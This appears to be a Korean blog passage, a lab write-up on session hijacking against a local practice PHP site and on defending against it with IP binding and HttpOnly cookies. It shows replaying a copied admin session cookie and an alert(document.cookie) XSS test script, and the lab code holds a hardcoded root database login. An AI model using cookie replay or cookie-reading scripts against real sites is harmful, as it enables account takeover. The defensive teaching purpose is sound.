&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1918&quot; data-origin-height=&quot;889&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DZyZ6/btsL0ED9UeC/aZj6UYRUsODYdRSfJyEKb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DZyZ6/btsL0ED9UeC/aZj6UYRUsODYdRSfJyEKb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DZyZ6/btsL0ED9UeC/aZj6UYRUsODYdRSfJyEKb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDZyZ6%2FbtsL0ED9UeC%2FaZj6UYRUsODYdRSfJyEKb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1918&quot; height=&quot;889&quot; data-origin-width=&quot;1918&quot; data-origin-height=&quot;889&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값을 붙여넣은 후 엣지 브라우저를 새로고침하면 관리자 계정으로 로그인된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNUrCG/btsL1zn4any/QlMWKwaGLjPr7dsqjqDSM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNUrCG/btsL1zn4any/QlMWKwaGLjPr7dsqjqDSM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNUrCG/btsL1zn4any/QlMWKwaGLjPr7dsqjqDSM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNUrCG%2FbtsL1zn4any%2FQlMWKwaGLjPr7dsqjqDSM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;399&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 현재 세션 하이재킹이 가능하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 경로: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login.php 소스코드를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; login.php 의 Action 부분 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737720277977&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION[&quot;id&quot;])) {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  $id = $_POST[&quot;id&quot;];
  $password = $_POST[&quot;password&quot;];
  
  if(!empty($id) &amp;amp;&amp;amp; !empty($password)) { 
    $id = $db_conn-&amp;gt;real_escape_string($id);
    $password = md5($password);
    $query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
    $result = $db_conn-&amp;gt;query($query);
    $num = $result-&amp;gt;num_rows;

    if($num != 0) {
      $row = $result-&amp;gt;fetch_assoc();
      $_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];
      $_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];
      echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;script&amp;gt;alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
      exit();
    }
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SERVER 라는 슈퍼 변수를 통해서 REMOTE_ADDR (접속자의 IP)를 받아와서 IP를 세션에 넣는다.&lt;/p&gt;
&lt;pre id=&quot;code_1737720565314&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION[&quot;id&quot;])) {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  $id = $_POST[&quot;id&quot;];
  $password = $_POST[&quot;password&quot;];
  
  if(!empty($id) &amp;amp;&amp;amp; !empty($password)) { 
    $id = $db_conn-&amp;gt;real_escape_string($id);
    $password = md5($password);
    $query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
    $result = $db_conn-&amp;gt;query($query);
    $num = $result-&amp;gt;num_rows;

    if($num != 0) {
      $row = $result-&amp;gt;fetch_assoc();
      $_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];
      $_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];
      $_SESSION[&quot;ip&quot;] = $_SERVER[&quot;REMOTE_ADDR&quot;];
      echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;script&amp;gt;alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
      exit();
    }
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP를 세션에 넣었지만 IP를 검증하는 작업을 추가로 필요하므로 common.php 에서 IP를 검증하는 작업은 따로 추가해준다. (공통으로 호출하는 페이지에 대해 적용해준다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 발급받을 때 IP와 현재 접속자의 IP가 다른 경우 로그아웃하는 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(로그인할 때 IP와 현재 접속 IP가 다르다면 세션을 폐기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php 소스코드 IP 검증 절차 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737720952530&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	header(&quot;Content-Type: text/html; charset=UTF-8;&quot;);

	$tb_name = &quot;insecure_board&quot;;
	$upload_path = &quot;upload&quot;;

	if(!empty($_SESSION[&quot;id&quot;])) {
		if($_SESSION[&quot;ip&quot;] != $_SERVER[&quot;REMOTE_ADDR&quot;]) {
			echo &quot;&amp;lt;script&amp;gt;location.href = 'logout.php'&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

	}

	function mysql_conn() {
		$host = &quot;127.0.0.1&quot;;
		$id = &quot;root&quot;;
		$pw = &quot;test&quot;;
		$db = &quot;pentest&quot;;
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace(&quot;&amp;lt;&quot;, &quot;&amp;amp;lt&quot;, $value);
		$value = str_replace(&quot;&amp;gt;&quot;, &quot;&amp;amp;gt&quot;, $value);
		$value = str_replace(&quot;\&quot;&quot;, &quot;&amp;amp;quot&quot;, $value);

		return $value;
	}

	function xss_html($value) {
		// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
		require_once('./htmlpurifier/library/HTMLPurifier.auto.php');

		// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
		$config = HTMLPurifier_Config::createDefault();
		$config-&amp;gt;set('Attr.EnableID', false);
		$config-&amp;gt;set('Attr.DefaultImageAlt', '');

		// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
		$config-&amp;gt;set('AutoFormat.Linkify', true);

		// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
		$config-&amp;gt;set('HTML.MaxImgLength', null);
		$config-&amp;gt;set('CSS.MaxImgLength', null);

		// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
		$config-&amp;gt;set('Core.Encoding', 'UTF-8');

		// 필요에 따라 DOCTYPE 바꿔쓰세요.
		$config-&amp;gt;set('HTML.Doctype', 'XHTML 1.0 Transitional');

		// 플래시 삽입 허용
		$config-&amp;gt;set('HTML.FlashAllowFullScreen', true);
		$config-&amp;gt;set('HTML.SafeEmbed', true);
		$config-&amp;gt;set('HTML.SafeIframe', true);
		$config-&amp;gt;set('HTML.SafeObject', true);
		$config-&amp;gt;set('Output.FlashCompat', true);

		// 최근 많이 사용하는 iframe 동영상 삽입 허용
		$config-&amp;gt;set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
			'www\\.youtube(?:-nocookie)?\\.com/',
			'maps\\.google\\.com/',
			'player\\.vimeo\\.com/video/',
			'www\\.microsoft\\.com/showcase/video\\.aspx',
			'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
			'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
			'v\\.nate\\.com/',
			'play\\.mgoon\\.com/',
			'channel\\.pandora\\.tv/',
			'www\\.tagstory\\.com/',
			'play\\.pullbbang\\.com/',
			'tv\\.seoul\\.go\\.kr/',
			'ucc\\.tlatlago\\.com/',
			'vodmall\\.imbc\\.com/',
			'www\\.musicshake\\.com/',
			'www\\.afreeca\\.com/player/Player\\.swf',
			'static\\.plaync\\.co\\.kr/',
			'video\\.interest\\.me/',
			'player\\.mnet\\.com/',
			'sbsplayer\\.sbs\\.co\\.kr/',
			'img\\.lifestyler\\.co\\.kr/',
			'c\\.brightcove\\.com/',
			'www\\.slideshare\\.net/',
		)).')#');

		// 설정을 저장하고 필터링 라이브러리 초기화
		$purifier = new HTMLPurifier($config);

		// HTML 필터링 실행
		$html = $purifier-&amp;gt;purify($value);

		return $html;
	}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1개의 로컬 PC에서 크롬과 엣지로 실습 시, 공격자와 피해자의 IP가 동일하므로 크롬의 사용자 세션으로 엣지에서 로그인해도 세션이 폐기되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 VMWare 활용해 공격자와 피해자가 서로 다른 IP를 가진 경우에는 실습하면 어떻게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 호스트 PC의 IP는 192.168.56.1 이며, VMWare는 192.168.197.138 로 서로 IP가 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFbqZA/btsL2lQmhQO/cJDeDUCDRcijb7jdKrUFfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFbqZA/btsL2lQmhQO/cJDeDUCDRcijb7jdKrUFfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFbqZA/btsL2lQmhQO/cJDeDUCDRcijb7jdKrUFfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFbqZA%2FbtsL2lQmhQO%2FcJDeDUCDRcijb7jdKrUFfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1372&quot; height=&quot;519&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 세션: 2158c9b798278091cf2166ee4ce387f4&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 세션 값을 복사 후 VMWare 에서 해당 세션값을 붙여넣는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;669&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KGYik/btsL00s1H1E/byKMZVyeCVBGUSQ71U8Vt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KGYik/btsL00s1H1E/byKMZVyeCVBGUSQ71U8Vt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KGYik/btsL00s1H1E/byKMZVyeCVBGUSQ71U8Vt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKGYik%2FbtsL00s1H1E%2FbyKMZVyeCVBGUSQ71U8Vt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1271&quot; height=&quot;669&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;669&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값을 붙여넣은 후 새로고침을 해도 관리자 계정으로 로그인되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게&amp;nbsp; IP 검증을 통해서 세션 하이재킹을 방지하는 방법이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 IP검증의 허점은 위에 기재했듯이 카페와 같이 동일한 공인 IP 를 공유하는 네트워크 공간에서는 내부 사설 IP가 달라도 공격자와 피해자의 공인 IP가 같아 공격자가 충분히 해당 인증에 대해 우회가 가능하다. (로컬 네트워크, 공유기 망에서 세션 탈취가 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 document.cookie 객체에 접근이 불가능하도록 HttpOnly 옵션을 적용하는 것이 하나의 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 실습환경에서는 php.ini 파일 내 httponly 옵션을 On 으로 설정하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로: C:\APM_Setup\php.ini&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cor3Sh/btsL1h86JOn/ImrZ3uIOUFUmatr6mDS9L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cor3Sh/btsL1h86JOn/ImrZ3uIOUFUmatr6mDS9L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cor3Sh/btsL1h86JOn/ImrZ3uIOUFUmatr6mDS9L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcor3Sh%2FbtsL1h86JOn%2FImrZ3uIOUFUmatr6mDS9L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;336&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php.ini 파일 저장 후 APM Setup 에서 Apache 서버를 껏다가 키면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;346&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIBr51/btsL2x4clQN/J2r39utMuWZaSuCTyywe10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIBr51/btsL2x4clQN/J2r39utMuWZaSuCTyywe10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIBr51/btsL2x4clQN/J2r39utMuWZaSuCTyywe10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIBr51%2FbtsL2x4clQN%2FJ2r39utMuWZaSuCTyywe10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;346&quot; height=&quot;264&quot; data-origin-width=&quot;346&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 insecure_website 내에는 XSS 에 대한 시큐어코딩이 적용되어 스크립트 작성이 어려우므로, 임의의 php 파일을 생성하여 document.cookie 를 출력하는 스크립트를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로: C:\APM_Setup\htdocs\insecure_website\xss.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; xss.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737729097504&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/xss.php 에 접속을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 document.cookie 객체에 접근이 불가하여 빈값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biOzTy/btsL0w0JCrS/2fIko9iuUegfc5hfYfA9n0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biOzTy/btsL0w0JCrS/2fIko9iuUegfc5hfYfA9n0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biOzTy/btsL0w0JCrS/2fIko9iuUegfc5hfYfA9n0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiOzTy%2FbtsL0w0JCrS%2F2fIko9iuUegfc5hfYfA9n0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;257&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intercept On 후 127.0.0.1/insecure_website 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8l0WO/btsL11dD2G1/JAY2EzQN3SkNaxFFbGT1S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8l0WO/btsL11dD2G1/JAY2EzQN3SkNaxFFbGT1S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8l0WO/btsL11dD2G1/JAY2EzQN3SkNaxFFbGT1S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8l0WO%2FbtsL11dD2G1%2FJAY2EzQN3SkNaxFFbGT1S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;674&quot; height=&quot;422&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 세션값이 확인되는데, 이를 삭제 후 Forward(Ctrl + F) 해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uxXAI/btsL1DYBfgc/3dS3tjpmDcwcKE7pL1JFY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uxXAI/btsL1DYBfgc/3dS3tjpmDcwcKE7pL1JFY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uxXAI/btsL1DYBfgc/3dS3tjpmDcwcKE7pL1JFY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuxXAI%2FbtsL1DYBfgc%2F3dS3tjpmDcwcKE7pL1JFY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;669&quot; height=&quot;374&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Set-Cookie 에 path=/; HttpOnly 가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 웹 브라우저에서 document 객체에 접근을 할 수 없도록 설정되어 있는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 응답값에 document.cookie 를 호출하는 스크립트를 작성 후 Intercept Off 를 하게되면 아래와 같이 빈 값이 경고창으로 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brIGz0/btsL034mzRK/2SLQIrkIxR2eBd2kYkN4T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brIGz0/btsL034mzRK/2SLQIrkIxR2eBd2kYkN4T1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brIGz0/btsL034mzRK/2SLQIrkIxR2eBd2kYkN4T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrIGz0%2FbtsL034mzRK%2F2SLQIrkIxR2eBd2kYkN4T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;374&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r43aT/btsL1dTAZ37/8AAAxYiy8NsalFJszJYLb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r43aT/btsL1dTAZ37/8AAAxYiy8NsalFJszJYLb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r43aT/btsL1dTAZ37/8AAAxYiy8NsalFJszJYLb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr43aT%2FbtsL1dTAZ37%2F8AAAxYiy8NsalFJszJYLb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;386&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HttpOnly 를 적용하게 되면 document 객체에 접근을 할 수 없기 때문에, document.cookie 를 활용하는 XSS 공격은 세션 하이재킹이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
